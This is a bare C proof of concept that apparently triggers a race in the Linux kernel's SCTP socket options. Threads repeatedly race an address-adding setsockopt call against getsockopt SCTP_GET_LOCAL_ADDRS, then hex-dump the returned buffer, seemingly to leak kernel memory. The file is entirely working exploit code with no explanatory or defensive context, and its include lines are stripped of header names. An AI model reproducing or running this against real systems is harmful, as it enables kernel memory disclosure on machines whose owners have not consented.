#include #include #include /* See NOTES */ #include #include #define DUMP_PARALLEL 1 #define DUMP_PRINT_BUF_ADDR 1 #define DUMP_PRINT_STRING 1 #define DUMP_PRINT_HEX 1 #include "dump_buf.h" void *setsockopt_fn(void *arg) { int sock = (int)arg; struct sockaddr addr; memset(&addr, 0, sizeof(addr)); addr.sa_family = 2; addr.sa_data[2] = 0xac; addr.sa_data[3] = 0x14; addr.sa_data[4] = 0x14; setsockopt(sock, 0x84, 0x6e, &addr, 0x10); } #define BUFLEN (0x2c2) void *getsockopt_fn(void *arg) { int sock = (int)arg; char buf[BUFLEN]; memset(buf, 0, BUFLEN); int socklen = BUFLEN; getsockopt(sock, 0x84, /*SCTP_GET_LOCAL_ADDRS*/0x6d, buf, &socklen); dump_buf(&(buf[8]), 32); } void do_work(int sock) { pthread_t t1, t2; for (int i = 0; i < 10; i++) { pthread_create(&t1, NULL, getsockopt_fn, (void*)sock); pthread_create(&t2, NULL, setsockopt_fn, (void*)sock); usleep(100); } } int main(int argc, char *argv[]) { int res; int pid = fork(); if (pid == 0) { int sock = socket(0x2, 0x1, 0x84); do_work(sock); } sleep(10); return 0; }